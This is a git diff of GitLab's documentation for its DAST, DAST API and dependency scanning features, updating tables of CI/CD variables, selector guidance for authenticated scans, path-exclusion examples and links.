Example: `example.com:8080` | -| `DAST_EXCLUDE_RULES` | string | Set to a comma-separated list of Vulnerability Rule IDs to exclude them from running during the scan. Rule IDs are numbers and can be found from the DAST log or on the [ZAP project](https://github.com/zaproxy/zaproxy/blob/develop/docs/scanners.md). For example, `HTTP Parameter Override` has a rule ID of `10026`. **Note:** In earlier versions of GitLab the excluded rules were executed but alerts they generated were suppressed. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/118641) in GitLab 12.10. | -| `DAST_ONLY_INCLUDE_RULES` | string | Set to a comma-separated list of Vulnerability Rule IDs to configure the scan to run only them. Rule IDs are numbers and can be found from the DAST log or on the [ZAP project](https://github.com/zaproxy/zaproxy/blob/develop/docs/scanners.md). [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/250651) in GitLab 13.12. | -| `DAST_REQUEST_HEADERS` | string | Set to a comma-separated list of request header names and values. Headers are added to every request made by DAST. For example, `Cache-control: no-cache,User-Agent: DAST/1.0` | -| `DAST_DEBUG` | boolean | Enable debug message output. Default: `false`. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/12652) in GitLab 13.1. | -| `DAST_SPIDER_MINS` | number | The maximum duration of the spider scan in minutes. Set to `0` for unlimited. Default: One minute, or unlimited when the scan is a full scan. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/12652) in GitLab 13.1. | -| `DAST_HTML_REPORT` | string | The filename of the HTML report written at the end of a scan. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/12652) in GitLab 13.1. | -| `DAST_MARKDOWN_REPORT` | string | The filename of the Markdown report written at the end of a scan. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/12652) in GitLab 13.1.| -| `DAST_XML_REPORT` | string | The filename of the XML report written at the end of a scan. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/12652) in GitLab 13.1. | -| `DAST_INCLUDE_ALPHA_VULNERABILITIES` | boolean | Set to `true` to include alpha passive and active scan rules. Default: `false`. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/12652) in GitLab 13.1. | -| `DAST_USE_AJAX_SPIDER` | boolean | Set to `true` to use the AJAX spider in addition to the traditional spider, useful for crawling sites that require JavaScript. Default: `false`. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/12652) in GitLab 13.1. | -| `DAST_PATHS` | string | Set to a comma-separated list of URLs for DAST to scan. For example, `/page1.html,/category1/page3.html,/page2.html`. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/214120) in GitLab 13.4. | -| `DAST_PATHS_FILE` | string | The file path containing the paths within `DAST_WEBSITE` to scan. The file must be plain text with one path per line. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/258825) in GitLab 13.6. | -| `DAST_SUBMIT_FIELD` | string | The `id` or `name` of the element that when clicked submits the login form or the password form of a multi-page login process. [Introduced](https://gitlab.com/gitlab-org/gitlab-ee/issues/9894) in GitLab 12.4. | -| `DAST_FIRST_SUBMIT_FIELD` | string | The `id` or `name` of the element that when clicked submits the username form of a multi-page login process. [Introduced](https://gitlab.com/gitlab-org/gitlab-ee/issues/9894) in GitLab 12.4. | -| `DAST_ZAP_CLI_OPTIONS` | string | ZAP server command-line options. For example, `-Xmx3072m` would set the Java maximum memory allocation pool size. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/12652) in GitLab 13.1. | -| `DAST_ZAP_LOG_CONFIGURATION` | string | Set to a semicolon-separated list of additional log4j properties for the ZAP Server. For example, `log4j.logger.org.parosproxy.paros.network.HttpSender=DEBUG;log4j.logger.com.crawljax=DEBUG` | -| `DAST_AUTH_EXCLUDE_URLS` | URLs | [Deprecated](https://gitlab.com/gitlab-org/gitlab/-/issues/289959) in GitLab 13.8, to be removed in 14.0, and replaced by `DAST_EXCLUDE_URLS`. The URLs to skip during the authenticated scan; comma-separated. Regular expression syntax can be used to match multiple URLs. For example, `.*` matches an arbitrary character sequence. Not supported for API scans. | +| CI/CD variable | Type | Description | +|:--------------------------------------------|:--------------|:-----------------------------------| +| `SECURE_ANALYZERS_PREFIX` | URL | Set the Docker registry base address from which to download the analyzer. | +| `DAST_WEBSITE` (**1**) | URL | The URL of the website to scan. `DAST_API_OPENAPI` must be specified if this is omitted. | +| `DAST_API_OPENAPI` | URL or string | The API specification to import. The specification can be hosted at a URL, or the name of a file present in the `/zap/wrk` directory. `DAST_WEBSITE` must be specified if this is omitted. | +| `DAST_API_SPECIFICATION` (**1**) | URL or string | [Deprecated](https://gitlab.com/gitlab-org/gitlab/-/issues/290241) in GitLab 13.12 and replaced by `DAST_API_OPENAPI`. To be removed in GitLab 15.0. The API specification to import. The specification can be hosted at a URL, or the name of a file present in the `/zap/wrk` directory. `DAST_WEBSITE` must be specified if this is omitted. | +| `DAST_SPIDER_START_AT_HOST` | boolean | Set to `false` to prevent DAST from resetting the target to its host before scanning. When `true`, non-host targets `http://test.site/some_path` is reset to `http://test.site` before scan. Default: `false`. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/258805) in GitLab 13.6. | +| `DAST_AUTH_URL` (**1**) | URL | The URL of the page containing the sign-in HTML form on the target website. `DAST_USERNAME` and `DAST_PASSWORD` are submitted with the login form to create an authenticated scan. Not supported for API scans. | +| `DAST_AUTH_VERIFICATION_URL` (**1**) | URL | A URL only accessible to logged in users that DAST can use to confirm successful authentication. If provided, DAST exits if it cannot access the URL. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/207335) in GitLab 13.8. | +| `DAST_USERNAME` (**1**) | string | The username to enter into the username field on the sign-in HTML form. | +| `DAST_PASSWORD` (**1**) | string | The password to enter into the password field on the sign-in HTML form. | +| `DAST_USERNAME_FIELD` (**1**) | selector | A selector describing the username field on the sign-in HTML form. Example: `id:user` | +| `DAST_PASSWORD_FIELD` (**1**) | selector | A selector describing the password field on the sign-in HTML form. Example: `css:.password-field` | +| `DAST_SKIP_TARGET_CHECK` | boolean | Set to `true` to prevent DAST from checking that the target is available before scanning. Default: `false`. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/229067) in GitLab 13.8. | +| `DAST_MASK_HTTP_HEADERS` | string | Comma-separated list of request and response headers to be masked (GitLab 13.1). Must contain **all** headers to be masked. Refer to [list of headers that are masked by default](#hide-sensitive-information). | +| `DAST_EXCLUDE_URLS` (**1**) | URLs | The URLs to skip during the authenticated scan; comma-separated. Regular expression syntax can be used to match multiple URLs. For example, `.*` matches an arbitrary character sequence. Not supported for API scans. | +| `DAST_FULL_SCAN_ENABLED` (**1**) | boolean | Set to `true` to run a [ZAP Full Scan](https://github.com/zaproxy/zaproxy/wiki/ZAP-Full-Scan) instead of a [ZAP Baseline Scan](https://github.com/zaproxy/zaproxy/wiki/ZAP-Baseline-Scan). Default: `false` | +| `DAST_AUTO_UPDATE_ADDONS` | boolean | ZAP add-ons are pinned to specific versions in the DAST Docker image. Set to `true` to download the latest versions when the scan starts. Default: `false` | +| `DAST_API_HOST_OVERRIDE` (**1**) | string | Used to override domains defined in API specification files. Only supported when importing the API specification from a URL. Example: `example.com:8080` | +| `DAST_EXCLUDE_RULES` | string | Set to a comma-separated list of Vulnerability Rule IDs to exclude them from running during the scan. Rule IDs are numbers and can be found from the DAST log or on the [ZAP project](https://www.zaproxy.org/docs/alerts/). For example, `HTTP Parameter Override` has a rule ID of `10026`. Cannot be used when `DAST_ONLY_INCLUDE_RULES` is set. **Note:** In earlier versions of GitLab the excluded rules were executed but vulnerabilities they generated were suppressed. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/118641) in GitLab 12.10. | +| `DAST_ONLY_INCLUDE_RULES` | string | Set to a comma-separated list of Vulnerability Rule IDs to configure the scan to run only them. Rule IDs are numbers and can be found from the DAST log or on the [ZAP project](https://www.zaproxy.org/docs/alerts/). Cannot be used when `DAST_EXCLUDE_RULES` is set. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/250651) in GitLab 13.12. | +| `DAST_REQUEST_HEADERS` (**1**) | string | Set to a comma-separated list of request header names and values. Headers are added to every request made by DAST. For example, `Cache-control: no-cache,User-Agent: DAST/1.0` | +| `DAST_DEBUG` (**1**) | boolean | Enable debug message output. Default: `false`. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/12652) in GitLab 13.1. | +| `DAST_TARGET_AVAILABILITY_TIMEOUT` (**1**) | number | Time limit in seconds to wait for target availability. +| `DAST_SPIDER_MINS` (**1**) | number | The maximum duration of the spider scan in minutes. Set to `0` for unlimited. Default: One minute, or unlimited when the scan is a full scan. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/12652) in GitLab 13.1. | +| `DAST_HTML_REPORT` | string | The filename of the HTML report written at the end of a scan. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/12652) in GitLab 13.1. | +| `DAST_MARKDOWN_REPORT` | string | The filename of the Markdown report written at the end of a scan. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/12652) in GitLab 13.1. | +| `DAST_XML_REPORT` | string | The filename of the XML report written at the end of a scan. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/12652) in GitLab 13.1. | +| `DAST_INCLUDE_ALPHA_VULNERABILITIES` | boolean | Set to `true` to include alpha passive and active scan rules. Default: `false`. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/12652) in GitLab 13.1. | +| `DAST_USE_AJAX_SPIDER` (**1**) | boolean | Set to `true` to use the AJAX spider in addition to the traditional spider, useful for crawling sites that require JavaScript. Default: `false`. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/12652) in GitLab 13.1. | +| `DAST_PATHS` | string | Set to a comma-separated list of URLs for DAST to scan. For example, `/page1.html,/category1/page3.html,/page2.html`. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/214120) in GitLab 13.4. | +| `DAST_PATHS_FILE` | string | The file path containing the paths within `DAST_WEBSITE` to scan. The file must be plain text with one path per line. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/258825) in GitLab 13.6. | +| `DAST_SUBMIT_FIELD` | selector | A selector describing the element that when clicked submits the login form, or the password form of a multi-page login process. Example: `xpath://input[@value='Login']`. [Introduced](https://gitlab.com/gitlab-org/gitlab-ee/issues/9894) in GitLab 12.4. | +| `DAST_FIRST_SUBMIT_FIELD` | selector | A selector describing the element that when clicked submits the username form of a multi-page login process. Example: `.submit`. [Introduced](https://gitlab.com/gitlab-org/gitlab-ee/issues/9894) in GitLab 12.4. | +| `DAST_ZAP_CLI_OPTIONS` | string | ZAP server command-line options. For example, `-Xmx3072m` would set the Java maximum memory allocation pool size. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/12652) in GitLab 13.1. | +| `DAST_ZAP_LOG_CONFIGURATION` | string | Set to a semicolon-separated list of additional log4j properties for the ZAP Server. For example, `log4j.logger.org.parosproxy.paros.network.HttpSender=DEBUG;log4j.logger.com.crawljax=DEBUG` | +| `DAST_AGGREGATE_VULNERABILITIES` | boolean | Vulnerability aggregation is set to `true` by default. To disable this feature and see each vulnerability individually set to `false`. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/254043) in GitLab 14.0. | +| `DAST_MAX_URLS_PER_VULNERABILITY` | number | The maximum number of URLs reported for a single vulnerability. `DAST_MAX_URLS_PER_VULNERABILITY` is set to `50` by default. To list all the URLs set to `0`. [Introduced](https://gitlab.com/gitlab-org/security-products/dast/-/merge_requests/433) in GitLab 13.12. | +| `DAST_AUTH_REPORT` | boolean | Used in combination with exporting the `gl-dast-debug-auth-report.html` artifact to aid in debugging authentication issues. | +| `DAST_AUTH_VERIFICATION_SELECTOR` | selector | Verifies successful authentication by checking for presence of a selector once the login form has been submitted. Example: `css:.user-photo` | +| `DAST_AUTH_VERIFICATION_LOGIN_FORM` | boolean | Verifies successful authentication by checking for the lack of a login form once the login form has been submitted. | + +1. DAST CI/CD variable available to an on-demand scan. + +#### Selectors + +Selectors are used by CI/CD variables to specify the location of an element displayed on a page in a browser. +Selectors have the format `type`:`search string`. The crawler will search for the selector using the search string based on the type. + +| Selector type | Example | Description | +| ------------- | ---------------------------------- | ----------- | +| `css` | `css:.password-field` | Searches for a HTML element having the supplied CSS selector. Selectors should be as specific as possible for performance reasons. | +| `id` | `id:element` | Searches for an HTML element with the provided element ID. | +| `name` | `name:element` | Searches for an HTML element with the provided element name. | +| `xpath` | `xpath://input[@id="my-button"]/a` | Searches for a HTML element with the provided XPath. Note that XPath searches are expected to be less performant than other searches. | +| None provided | `a.click-me` | Defaults to searching using a CSS selector. | + +##### Find selectors with Google Chrome + +Chrome DevTools element selector tool is an effective way to find a selector. + +1. Open Chrome and navigate to the page where you would like to find a selector, for example, the login page for your site. +1. Open the `Elements` tab in Chrome DevTools with the keyboard shortcut `Command + Shift + c` in macOS or `Ctrl + Shift + c` in Windows. +1. Select the `Select an element in the page to select it` tool. +  +1. Select the field on your page that you would like to know the selector for. +1. Once the tool is active, highlight a field you wish to view the details of. +  +1. Once highlighted, you can see the element's details, including attributes that would make a good candidate for a selector. + +In this example, the `id="user_login"` appears to be a good candidate. You can use this as a selector as the DAST username field by setting `DAST_USERNAME_FIELD: "css:[id=user_login]"`, or more simply, `DAST_USERNAME_FIELD: "id:user_login"`. + +##### Choose the right selector + +Judicious choice of selector leads to a scan that is resilient to the application changing. + +In order of preference, it is recommended to choose as selectors: + +- `id` fields. These are generally unique on a page, and rarely change. +- `name` fields. These are generally unique on a page, and rarely change. +- `class` values specific to the field, such as the selector `"css:.username"` for the `username` class on the username field. +- Presence of field specific data attributes, such as the selector, `"css:[data-username]"` when the `data-username` field has any value on the username field. +- Multiple `class` hierarchy values, such as the selector `"css:.login-form .username"` when there are multiple elements with class `username` but only one nested inside the element with the class `login-form`. + +When using selectors to locate specific fields we recommend you avoid searching on: + +- Any `id`, `name`, `attribute`, `class` or `value` that is dynamically generated. +- Generic class names, such as `column-10` and `dark-grey`. +- XPath searches as they are less performant than other selector searches. +- Unscoped searches, such as those beginning with `css:*` and `xpath://*`. ### DAST command-line options @@ -783,7 +863,7 @@ variables: ### Cloning the project's repository The DAST job does not require the project's repository to be present when running, so by default -[`GIT_STRATEGY`](../../../ci/runners/README.md#git-strategy) is set to `none`. +[`GIT_STRATEGY`](../../../ci/runners/configure_runners.md#git-strategy) is set to `none`. ### Debugging DAST jobs @@ -819,7 +899,7 @@ successfully run. For more information, see [Offline environments](../offline_de To use DAST in an offline environment, you need: -- GitLab Runner with the [`docker` or `kubernetes` executor](#prerequisite). +- GitLab Runner with the [`docker` or `kubernetes` executor](#prerequisites). - Docker Container Registry with a locally available copy of the DAST [container image](https://gitlab.com/gitlab-org/security-products/dast), found in the [DAST container registry](https://gitlab.com/gitlab-org/security-products/dast/container_registry). @@ -993,7 +1073,7 @@ A site profile contains the following: - **Target URL**: The URL that DAST runs against. - **Excluded URLs**: A comma-separated list of URLs to exclude from the scan. - **Request headers**: A comma-separated list of HTTP request headers, including names and values. These headers are added to every request made by DAST. -- **Authentication**: +- **Authentication**: - **Authenticated URL**: The URL of the page containing the sign-in HTML form on the target website. The username and password are submitted with the login form to create an authenticated scan. - **Username**: The username used to authenticate to the website. - **Password**: The password used to authenticate to the website. @@ -1217,11 +1297,6 @@ The DAST tool always emits a JSON report file called `gl-dast-report.json` and sample reports can be found in the [DAST repository](https://gitlab.com/gitlab-org/security-products/dast/-/tree/master/test/end-to-end/expect). -There are two formats of data in the JSON report that are used side by side: - -- The proprietary ZAP format, which is planned to be deprecated. -- A common format that is planned to the default in the future. - ### Other formats Reports can also be generated in Markdown, HTML, and XML. These can be published as artifacts using the following configuration: diff --git a/doc/user/application_security/dast_api/index.md b/doc/user/application_security/dast_api/index.md index 5e47f545ef9..9a6e1e73330 100644 --- a/doc/user/application_security/dast_api/index.md +++ b/doc/user/application_security/dast_api/index.md @@ -59,6 +59,7 @@ Examples of various configurations can be found here: - [Example HTTP Archive (HAR) project](https://gitlab.com/gitlab-org/security-products/demos/api-dast/har-example) - [Example Postman Collection project](https://gitlab.com/gitlab-org/security-products/demos/api-dast/postman-example) - [Example GraphQL project](https://gitlab.com/gitlab-org/security-products/demos/api-dast/graphql-example) +- [Example SOAP project](https://gitlab.com/gitlab-org/security-products/demos/api-dast/soap-example) WARNING: GitLab 14.0 will require that you place DAST API configuration files (for example, @@ -71,8 +72,8 @@ starting in GitLab 14.0, GitLab will not check your repository's root for config > Support for OpenAPI Specification using YAML format was > [introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/330583) in GitLab 14.0. -The [OpenAPI Specification](https://www.openapis.org/) (formerly the Swagger Specification) is an API description format for REST APIs. -This section shows you how to configure API fuzzing using an OpenAPI Specification to provide information about the target API to test. +The [OpenAPI Specification](https://www.openapis.org/) (formerly the Swagger Specification) is an API description format for REST APIs. +This section shows you how to configure API fuzzing using an OpenAPI Specification to provide information about the target API to test. OpenAPI Specifications are provided as a file system resource or URL. Both JSON and YAML OpenAPI formats are supported. DAST API uses an OpenAPI document to generate the request body. When a request body is required, @@ -85,7 +86,7 @@ the body generation is limited to these body types: Follow these steps to configure DAST API in GitLab with an OpenAPI specification: 1. To use DAST API, you must [include](../../../ci/yaml/README.md#includetemplate) - the [`DAST-API.gitlab-ci.yml` template](https://gitlab.com/gitlab-org/gitlab/blob/master/lib/gitlab/ci/templates/Security/DAST-API.gitlab-ci.yml) + the [`DAST-API.gitlab-ci.yml` template](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Security/DAST-API.gitlab-ci.yml) that's provided as part of your GitLab installation. Add the following to your `.gitlab-ci.yml` file: @@ -136,7 +137,7 @@ Follow these steps to configure DAST API in GitLab with an OpenAPI specification dynamic environments. To run DAST API against an app dynamically created during a GitLab CI/CD pipeline, have the app persist its URL in an `environment_url.txt` file. DAST API automatically parses that file to find its scan target. You can see an - [example of this in our Auto DevOps CI YAML](https://gitlab.com/gitlab-org/gitlab/blob/master/lib/gitlab/ci/templates/Jobs/Deploy.gitlab-ci.yml). + [example of this in our Auto DevOps CI YAML](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Jobs/Deploy.gitlab-ci.yml). Here's an example of using `DAST_API_TARGET_URL`: @@ -184,7 +185,7 @@ Follow these steps to configure DAST API to use a HAR file that provides informa target API to test: 1. To use DAST API, you must [include](../../../ci/yaml/README.md#includetemplate) - the [`DAST-API.gitlab-ci.yml` template](https://gitlab.com/gitlab-org/gitlab/blob/master/lib/gitlab/ci/templates/Security/DAST-API.gitlab-ci.yml) + the [`DAST-API.gitlab-ci.yml` template](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Security/DAST-API.gitlab-ci.yml) that's provided as part of your GitLab installation. To do so, add the following to your `.gitlab-ci.yml` file: @@ -235,7 +236,7 @@ target API to test: dynamic environments. To run DAST API against an app dynamically created during a GitLab CI/CD pipeline, have the app persist its URL in an `environment_url.txt` file. DAST API automatically parses that file to find its scan target. You can see an - [example of this in our Auto DevOps CI YAML](https://gitlab.com/gitlab-org/gitlab/blob/master/lib/gitlab/ci/templates/Jobs/Deploy.gitlab-ci.yml). + [example of this in our Auto DevOps CI YAML](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Jobs/Deploy.gitlab-ci.yml). Here's an example of using `DAST_API_TARGET_URL`: @@ -284,7 +285,7 @@ Follow these steps to configure DAST API to use a Postman Collection file that p information about the target API to test: 1. To use DAST API, you must [include](../../../ci/yaml/README.md#includetemplate) - the [`DAST-API.gitlab-ci.yml` template](https://gitlab.com/gitlab-org/gitlab/blob/master/lib/gitlab/ci/templates/Security/DAST-API.gitlab-ci.yml) + the [`DAST-API.gitlab-ci.yml` template](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Security/DAST-API.gitlab-ci.yml) that's provided as part of your GitLab installation. To do so, add the following to your `.gitlab-ci.yml` file: @@ -334,7 +335,7 @@ information about the target API to test: dynamic environments. To run DAST API against an app dynamically created during a GitLab CI/CD pipeline, have the app persist its URL in an `environment_url.txt` file. DAST API automatically parses that file to find its scan target. You can see an - [example of this in our Auto DevOps CI YAML](https://gitlab.com/gitlab-org/gitlab/blob/master/lib/gitlab/ci/templates/Jobs/Deploy.gitlab-ci.yml). + [example of this in our Auto DevOps CI YAML](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Jobs/Deploy.gitlab-ci.yml). Here's an example of using `DAST_API_TARGET_URL`: @@ -634,6 +635,7 @@ can be added, removed, and modified by creating a custom configuration. | `DAST_API_TARGET_URL` | Base URL of API testing target. | |[`DAST_API_CONFIG`](#configuration-files) | DAST API configuration file. Defaults to `.gitlab-dast-api.yml`. | |[`DAST_API_PROFILE`](#configuration-files) | Configuration profile to use during testing. Defaults to `Quick`. | +|[`FUZZAPI_EXCLUDE_PATHS`](#exclude-paths) | Exclude API URL paths from testing. | |[`DAST_API_OPENAPI`](#openapi-specification) | OpenAPI specification file or URL. | |[`DAST_API_HAR`](#http-archive-har) | HTTP Archive (HAR) file. | |[`DAST_API_POSTMAN_COLLECTION`](#postman-collection) | Postman Collection file. | @@ -847,7 +849,7 @@ variables: ``` In this example `.gitlab-ci.yml`, the `SECRET_OVERRIDES` variable provides the JSON. This is a -[group or instance level CI/CD variable defined in the UI](../../../ci/variables/README.md#instance-cicd-variables): +[group or instance level CI/CD variable defined in the UI](../../../ci/variables/README.md#add-a-cicd-variable-to-an-instance): ```yaml stages: @@ -893,6 +895,47 @@ variables: DAST_API_OVERRIDES_INTERVAL: 300 ``` +### Exclude Paths + +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/211892) in GitLab 14.0. + +When testing an API it can be useful to exclude certain paths. For example, you might exclude testing of an authentication service or an older version of the API. To exclude paths, use the `FUZZAPI_EXCLUDE_PATHS` CI/CD variable . This variable is specified in your `.gitlab-ci.yml` file. To exclude multiple paths, separate entries using the `;` character. In the provided paths you can use a single character wildcard `?` and `*` for a multiple character wildcard. + +To verify the paths are excluded, review the `Tested Operations` and `Excluded Operations` portion of the job output. You should not see any excluded paths listed under `Tested Operations`. + +```plaintext +2021-05-27 21:51:08 [INF] API Security: --[ Tested Operations ]------------------------- +2021-05-27 21:51:08 [INF] API Security: 201 POST http://target:7777/api/users CREATED +2021-05-27 21:51:08 [INF] API Security: ------------------------------------------------ +2021-05-27 21:51:08 [INF] API Security: --[ Excluded Operations ]----------------------- +2021-05-27 21:51:08 [INF] API Security: GET http://target:7777/api/messages +2021-05-27 21:51:08 [INF] API Security: POST http://target:7777/api/messages +2021-05-27 21:51:08 [INF] API Security: ------------------------------------------------ +``` + +#### Examples + +This example excludes the `/auth` resource. This does not exclude child resources (`/auth/child`). + +```yaml +variables: + DAST_API_EXCLUDE_PATHS=/auth +``` + +To exclude `/auth`, and child resources (`/auth/child`), we use a wildcard. + +```yaml +variables: + DAST_API_EXCLUDE_PATHS=/auth* +``` + +To exclude multiple paths we use the `;` character. In this example we exclude `/auth*` and `/v1/*`. + +```yaml +variables: + DAST_API_EXCLUDE_PATHS=/auth*;/v1/* +``` + ## Running your first scan When configured correctly, a CI/CD pipeline contains a `dast` stage and an `dast_api` job. The job only fails when an invalid configuration is provided. During normal operation, the job always succeeds even if vulnerabilities are identified during testing. @@ -1076,7 +1119,7 @@ The DAST API engine outputs an error message when it cannot establish a connecti **Solution** - Remove the `DAST_API_API` variable from the `.gitlab-ci.yml` file. The value will be inherited from the DAST API CI/CD template. We recommend this method instead of manually setting a value. -- If removing the variable is not possible, check to see if this value has changed in the latest version of the [DAST API CI/CD template](https://gitlab.com/gitlab-org/gitlab/blob/master/lib/gitlab/ci/templates/Security/DAST-API.gitlab-ci.yml). If so, update the value in the `.gitlab-ci.yml` file. +- If removing the variable is not possible, check to see if this value has changed in the latest version of the [DAST API CI/CD template](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Security/DAST-API.gitlab-ci.yml). If so, update the value in the `.gitlab-ci.yml` file. ### Application cannot determine the base URL for the target API @@ -1088,7 +1131,7 @@ The best-suited solution will depend on whether or not your target API changes f #### Static environment solution -This solution is for pipelines in which the target API URL doesn't change (is static). +This solution is for pipelines in which the target API URL doesn't change (is static). **Add environmental variable** @@ -1105,7 +1148,7 @@ include: #### Dynamic environment solutions -In a dynamic environment your target API changes for each different deployment. In this case, there is more than one possible solution, we recommend you use the `environment_url.txt` file when dealing with dynamic environments. +In a dynamic environment your target API changes for each different deployment. In this case, there is more than one possible solution, we recommend you use the `environment_url.txt` file when dealing with dynamic environments. **Use environment_url.txt** diff --git a/doc/user/application_security/dependency_scanning/analyzers.md b/doc/user/application_security/dependency_scanning/analyzers.md index 0faa33e0123..fae0f457a20 100644 --- a/doc/user/application_security/dependency_scanning/analyzers.md +++ b/doc/user/application_security/dependency_scanning/analyzers.md @@ -80,7 +80,7 @@ include: template: Dependency-Scanning.gitlab-ci.yml variables: - DS_EXCLUDED_ANALYZERS: "gemnasium, gemansium-maven, gemnasium-python, bundler-audit, retire.js" + DS_EXCLUDED_ANALYZERS: "gemnasium, gemnasium-maven, gemnasium-python, bundler-audit, retire.js" ``` This is used when one totally relies on [custom analyzers](#custom-analyzers). diff --git a/doc/user/application_security/dependency_scanning/index.md b/doc/user/application_security/dependency_scanning/index.md index 8e23db89dfd..96fc085e7c6 100644 --- a/doc/user/application_security/dependency_scanning/index.md +++ b/doc/user/application_security/dependency_scanning/index.md @@ -91,7 +91,7 @@ The [Security Scanner Integration](../../../development/integrations/secure.md) To enable dependency scanning for GitLab 11.9 and later, you must [include](../../../ci/yaml/README.md#includetemplate) the -[`Dependency-Scanning.gitlab-ci.yml` template](https://gitlab.com/gitlab-org/gitlab/blob/master/lib/gitlab/ci/templates/Security/Dependency-Scanning.gitlab-ci.yml) +[`Dependency-Scanning.gitlab-ci.yml` template](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Security/Dependency-Scanning.gitlab-ci.yml) that is provided as a part of your GitLab installation. For GitLab versions earlier than 11.9, you can copy and use the job as defined that template. @@ -112,7 +112,7 @@ always take the latest dependency scanning artifact available. ### Customizing the dependency scanning settings -The dependency scanning settings can be changed through [CI/CD variables](#available-variables) by using the +The dependency scanning settings can be changed through [CI/CD variables](#available-cicd-variables) by using the [`variables`](../../../ci/yaml/README.md#variables) parameter in `.gitlab-ci.yml`. For example: @@ -157,7 +157,7 @@ gemnasium-dependency_scanning: dependencies: ["build"] ``` -### Available variables +### Available CI/CD variables Dependency scanning can be [configured](#customizing-the-dependency-scanning-settings) using environment variables. @@ -189,7 +189,7 @@ The following variables are used for configuring specific analyzers (used for a | `GEMNASIUM_DB_REMOTE_URL` | `gemnasium` | `https://gitlab.com/gitlab-org/security-products/gemnasium-db.git` | Repository URL for fetching the Gemnasium database. | | `GEMNASIUM_DB_REF_NAME` | `gemnasium` | `master` | Branch name for remote repository database. `GEMNASIUM_DB_REMOTE_URL` is required. | | `DS_REMEDIATE` | `gemnasium` | `"true"` | Enable automatic remediation of vulnerable dependencies. | -| `DS_JAVA_VERSION` | `gemnasium-maven` | `11` | Version of Java. Available versions: `8`, `11`, `13`, `14`, `15`. Maven and Gradle use the Java version specified by this value. | +| `DS_JAVA_VERSION` | `gemnasium-maven` | `11` | Version of Java. Available versions: `8`, `11`, `13`, `14`, `15`, `16`. Maven and Gradle use the Java version specified by this value (Dependency Scanning for Gradle does not currently support Java `16`). | | `MAVEN_CLI_OPTS` | `gemnasium-maven` | `"-DskipTests --batch-mode"` | List of command line arguments that are passed to `maven` by the analyzer. See an example for [using private repositories](../index.md#using-private-maven-repositories). | | `GRADLE_CLI_OPTS` | `gemnasium-maven` | | List of command line arguments that are passed to `gradle` by the analyzer. | | `SBT_CLI_OPTS` | `gemnasium-maven` | | List of command-line arguments that the analyzer passes to `sbt`. | @@ -231,11 +231,11 @@ Read more on [how to use private Maven repositories](../index.md#using-private-m Once a vulnerability is found, you can interact with it. Read more on how to [address the vulnerabilities](../vulnerabilities/index.md). -## Solutions for vulnerabilities (auto-remediation) +## Solutions for vulnerabilities Some vulnerabilities can be fixed by applying the solution that GitLab automatically generates. Read more about the -[solutions for vulnerabilities](../vulnerabilities/index.md#remediate-a-vulnerability-automatically). +[solutions for vulnerabilities](../vulnerabilities/index.md#resolve-a-vulnerability). ## Security Dashboard diff --git a/doc/user/application_security/img/unconfigured_security_approval_rules_and_enabled_jobs_v13_4.png b/doc/user/application_security/img/unconfigured_security_approval_rules_and_enabled_jobs_v13_4.png Binary files differdeleted file mode 100644 index 7b04988afdb..00000000000 --- a/doc/user/application_security/img/unconfigured_security_approval_rules_and_enabled_jobs_v13_4.png +++ /dev/null diff --git a/doc/user/application_security/img/unconfigured_security_approval_rules_and_jobs_v13_4.png b/doc/user/application_security/img/unconfigured_security_approval_rules_and_jobs_v13_4.png Binary files differdeleted file mode 100644 index b9b6dd13294..00000000000 --- a/doc/user/application_security/img/unconfigured_security_approval_rules_and_jobs_v13_4.png +++ /dev/null diff --git a/doc/user/application_security/index.md b/doc/user/application_security/index.md index 82a018c0ae9..bf812b25b5f 100644 --- a/doc/user/application_security/index.md +++ b/doc/user/application_security/index.md @@ -1,11 +1,11 @@ --- -stage: secure -group: secure +stage: Secure +group: Static Analysis info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: reference, howto --- -# Application security **(ULTIMATE)** +# Secure your application **(ULTIMATE)** GitLab can check your application for security vulnerabilities including: @@ -92,7 +92,9 @@ For more details about each of the security scanning tools, see their respective By default, GitLab security scanners use `registry.gitlab.com/gitlab-org/security-products/analyzers` as the base address for Docker images. You can override 